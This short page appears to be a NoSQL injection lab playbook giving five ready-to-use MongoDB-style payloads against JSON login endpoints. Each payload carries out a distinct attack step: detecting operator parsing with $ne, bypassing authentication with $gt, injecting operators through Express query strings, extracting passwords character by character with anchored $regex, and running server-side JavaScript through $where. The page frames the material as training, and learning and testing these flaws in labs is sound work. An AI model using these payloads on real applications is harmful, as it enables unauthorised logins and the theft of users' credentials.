NoSQL Injection labs

A practical playbook — from recon to proof of concept.

1. 1

   Detect operator parsing

   On a JSON login, replace the string value with an object holding an operator. If behavior changes, the backend drops your raw input into the query.

   {"username":"admin","password":{"$ne":null}}

2. 2

   Bypass authentication

   $gt with an empty string matches any document. Combine it with a known username to log in without a password.

   {"username":"admin","password":{"$gt":""}}

3. 3

   Inject via query string

   Express + the qs parser turns user[$ne]= into an object with an operator. Useful when the endpoint is GET or urlencoded form data.

   POST /login → username[$ne]=x&password[$ne]=x

4. 4

   Blind-extract data with $regex

   With no output, anchor a regex and try character by character, watching login OK/KO to reconstruct the secret.

   {"username":"admin","password":{"$regex":"^a"}}

5. 5

   Escalate to RCE with $where

   If the app uses $where with your input, inject JavaScript that runs in the engine; use it for blind boolean or sleep.

   {"$where":"sleep(5000) || true"}